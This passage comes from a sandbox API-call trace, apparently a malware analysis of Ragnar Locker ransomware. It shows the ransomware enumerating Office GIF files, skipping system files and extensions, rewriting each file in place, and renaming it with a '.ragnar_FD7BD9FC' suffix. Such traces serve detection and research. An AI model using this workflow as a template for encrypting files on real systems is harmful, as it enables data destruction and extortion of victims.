Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" [0100.477] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF.ragnar_FD7BD9FC" [0100.477] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.504] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21377_.GIF", cAlternateFileName="")) returned 1 [0100.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.504] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21377_.GIF" | out: lpString1="BD21377_.GIF") returned="BD21377_.GIF" [0100.504] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF") returned=".GIF" [0100.504] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.504] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="autorun.inf") returned 1 [0100.504] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="boot.ini") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="bootfont.bin") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="bootsect.bak") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="bootmgr") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="bootmgr.efi") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="desktop.ini") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="iconcache.db") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="ntldr") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="ntuser.dat") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="ntuser.ini") returned -1 [0100.505] lstrcmpiW (lpString1="BD21377_.GIF", lpString2="thumbs.db") returned -1 [0100.505] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.505] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.505] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.505] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.505] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.505] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.505] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif")) returned 0x20 [0100.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.507] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=175) returned 1 [0100.507] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.507] GetProcessHeap () returned 0x580000 [0100.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.507] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.507] VirtualAlloc (lpAddress=0x0, dwSize=0xaf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.508] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.508] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.508] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xaf, lpOverlapped=0x0) returned 1 [0100.508] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.508] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.508] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xaf, lpOverlapped=0x0) returned 1 [0100.509] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.523] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.524] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.524] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.524] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.524] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.524] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.524] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.524] GetProcessHeap () returned 0x580000 [0100.524] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.524] CloseHandle (hObject=0x10c) returned 1 [0100.524] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" [0100.524] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF.ragnar_FD7BD9FC" [0100.524] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.530] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28faf00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb28faf00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21398_.GIF", cAlternateFileName="")) returned 1 [0100.530] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.530] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21398_.GIF" | out: lpString1="BD21398_.GIF") returned="BD21398_.GIF" [0100.530] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF") returned=".GIF" [0100.530] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.530] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="autorun.inf") returned 1 [0100.530] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="boot.ini") returned -1 [0100.530] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="bootfont.bin") returned -1 [0100.530] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="bootsect.bak") returned -1 [0100.530] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="bootmgr") returned -1 [0100.530] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="bootmgr.efi") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="desktop.ini") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="iconcache.db") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="ntldr") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="ntuser.dat") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="ntuser.ini") returned -1 [0100.531] lstrcmpiW (lpString1="BD21398_.GIF", lpString2="thumbs.db") returned -1 [0100.531] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.531] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.531] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.531] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.531] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.531] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.531] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif")) returned 0x20 [0100.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.532] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=326) returned 1 [0100.532] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x13d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.532] GetProcessHeap () returned 0x580000 [0100.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.532] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.533] VirtualAlloc (lpAddress=0x0, dwSize=0x146, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.533] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.533] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.533] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x146, lpOverlapped=0x0) returned 1 [0100.533] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.533] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x146, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.533] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x146, lpOverlapped=0x0) returned 1 [0100.533] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x146, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.533] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.534] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.534] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.534] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.534] GetProcessHeap () returned 0x580000 [0100.534] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.534] CloseHandle (hObject=0x10c) returned 1 [0100.534] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" [0100.534] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF.ragnar_FD7BD9FC" [0100.534] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21398_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21398_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.535] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21399_.GIF", cAlternateFileName="")) returned 1 [0100.535] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.535] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21399_.GIF" | out: lpString1="BD21399_.GIF") returned="BD21399_.GIF" [0100.535] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF") returned=".GIF" [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="autorun.inf") returned 1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="boot.ini") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="bootfont.bin") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="bootsect.bak") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="bootmgr") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="bootmgr.efi") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="desktop.ini") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="iconcache.db") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="ntldr") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="ntuser.dat") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.535] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="ntuser.ini") returned -1 [0100.536] lstrcmpiW (lpString1="BD21399_.GIF", lpString2="thumbs.db") returned -1 [0100.536] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.536] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.536] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.536] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.536] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.536] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.536] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif")) returned 0x20 [0100.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21399_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.536] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=258) returned 1 [0100.536] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.536] GetProcessHeap () returned 0x580000 [0100.536] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.536] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.537] VirtualAlloc (lpAddress=0x0, dwSize=0x102, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.537] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.537] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.537] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x102, lpOverlapped=0x0) returned 1 [0100.538] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.538] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x102, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.538] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x102, lpOverlapped=0x0) returned 1 [0100.538] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x102, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.538] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.538] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x102, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.538] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.538] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.538] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.554] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.555] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.555] GetProcessHeap () returned 0x580000 [0100.555] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.555] CloseHandle (hObject=0x10c) returned 1 [0100.555] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF" [0100.555] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21399_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program 